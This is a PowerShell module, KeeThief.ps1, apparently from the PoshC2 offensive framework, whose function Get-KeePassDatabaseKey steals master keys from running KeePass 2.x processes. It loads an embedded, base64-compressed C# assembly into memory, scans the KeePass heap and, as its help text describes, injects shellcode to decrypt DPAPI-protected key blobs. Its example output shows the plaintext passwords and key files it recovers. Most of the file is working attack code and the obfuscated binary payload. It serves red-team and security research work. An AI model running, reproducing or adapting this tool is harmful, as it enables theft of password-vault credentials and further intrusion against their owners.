PoshC2_Python/Modules/KeeThief.ps1

186 lines
353 KiB
PowerShell
Raw Permalink Normal View History

#requires -version 2
function Get-KeePassDatabaseKey {
<#
.SYNOPSIS
Retrieves database mastey key information for unlocked KeePass database.
Function: Get-KeePassDatabaseKey
Author: Lee Christensen (@tifkin_), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Enumerates any KeePass 2.X (.NET) processes currently open, or takes a process object on the pipeline.
Loades the C# KeeTheft assembly into memory and for each open KeePass process executes the GetKeePassMasterKeys()
method on it. GetKeePassMasterKeys() will attach to the target KeePass process using CLR MD and enumerate
all CLR heap objects, searching for a KeePassLib.PwDatabase object. If one is found, the path is extracted
from the m_strUrl field, and all referenced objects are enumerated, searching for a KeePassLib.Keys.CompositeKey.
If a composite master key is found, information for each key type (KcpPassword, KcpKeyFile, KcpUserAccount)
is extracted, including the DPAPI encrypted data blobs of key data. For any encrypted blobs found, shellcode
is injected into the KeePass process that calls MyRtlDecryptMemory() to decrypt the DPAPI memory blobs,
returning the plaintext/unprotected key data.
.PARAMETER Process
Optional KeePass process object to pass in on the pipeline.
.EXAMPLE
PS C:\> Get-KeePassDatabaseKey -Verbose
VERBOSE: Examining KeePass process 4184 for master keys
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
KeyType : KcpUserAccount
KeePassVersion : 2.34.0.0
ProcessID : 4184
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
EncryptedBlobAddress : 49045328
EncryptedBlob : {113, 148, 127, 29...}
EncryptedBlobLen : 64
PlaintextBlob : {120, 181, 162, 116...}
Plaintext : eLWidCSt...
KeyFilePath : C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass\ProtectedUserKey.bin
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
KeyType : KcpKeyFile
KeePassVersion : 2.34.0.0
ProcessID : 4184
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
EncryptedBlobAddress : 49037240
EncryptedBlob : {137, 185, 6, 97...}
EncryptedBlobLen : 32
PlaintextBlob : {177, 5, 150, 205...}
Plaintext : sQWWzdcT...
KeyFilePath : C:\Users\harmj0y.TESTLAB\Documents\s.license
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
KeyType : KcpPassword
KeePassVersion : 2.34.0.0
ProcessID : 4184
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
EncryptedBlobAddress : 48920376
EncryptedBlob : {228, 78, 75, 16...}
EncryptedBlobLen : 16
PlaintextBlob : {80, 97, 115, 115...}
Plaintext : Password123!
KeyFilePath :
.EXAMPLE
PS C:\> Get-Process KeePass | Get-KeePassDatabaseKey -Verbose
VERBOSE: Examining KeePass process 4184 for master keys
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
KeyType : KcpUserAccount
....
#>
[CmdletBinding()]
param (
[Parameter(Position = 0, ValueFromPipeline = $True)]
[System.Diagnostics.Process[]]
[ValidateNotNullOrEmpty()]
$Process
)
BEGIN {
if(-not $PSBoundParameters['Process']) {
try {
$Process = Get-Process KeePass -ErrorAction Stop | Where-Object {$_.FileVersion -match '^2\.'}
}
catch {
throw 'No KeePass 2.X instances open!'
}
}
# load file off of disk instead
# $Assembly = [Reflection.Assembly]::LoadFile((Get-Item -Path .\ReleaseKeePass.exe).FullName)
# the KeyTheft assembly, generated with "Out-CompressedDll -FilePath .\ReleaseKeePass.exe | Out-File -Encoding ASCII .\compressed.ps1"
$EncodedCompressedFile = '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
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](738304)
$DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null
$Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
}
PROCESS {
ForEach($KeePassProcess in $Process) {
if($KeePassProcess.FileVersion -match '^2\.') {
$WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)"
$ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath
Write-Verbose "Examining KeePass process $($KeePassProcess.ID) for master keys"
$Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null, @([System.Diagnostics.Process]$KeePassProcess))
if($Keys) {
ForEach ($Key in $Keys) {
ForEach($UserKey in $Key.UserKeys) {
$KeyType = $UserKey.GetType().Name
$UserKeyObject = New-Object PSObject
$UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation
$UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType
$UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion
$UserKeyObject | Add-Member Noteproperty 'ProcessID' $KeePassProcess.ID
$UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlobAddress' $UserKey.encryptedBlobAddress
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlob' $UserKey.encryptedBlob
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlobLen' $UserKey.encryptedBlobLen
$UserKeyObject | Add-Member Noteproperty 'PlaintextBlob' $UserKey.plaintextBlob
if($KeyType -eq 'KcpPassword') {
$Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)
}
else {
$Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob)
}
$UserKeyObject | Add-Member Noteproperty 'Plaintext' $Plaintext
if($KeyType -eq 'KcpUserAccount') {
try {
$WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)"
$UserName = $WMIProcess.GetOwner().User
$ProtectedUserKeyPath = Resolve-Path -Path "$($Env:WinDir | Split-Path -Qualifier)\Users\*$UserName*\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
$UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath
}
catch {
Write-Warning "Error enumerating the owner of $($KeePassProcess.ID) : $_"
}
}
else {
$UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath
}
$UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys')
$UserKeyObject
}
}
}
else {
Write-Verbose "No keys found for $($KeePassProcess.ID)"
}
}
else {
Write-Warning "Only KeePass 2.X is supported at this time."
}
}
}
}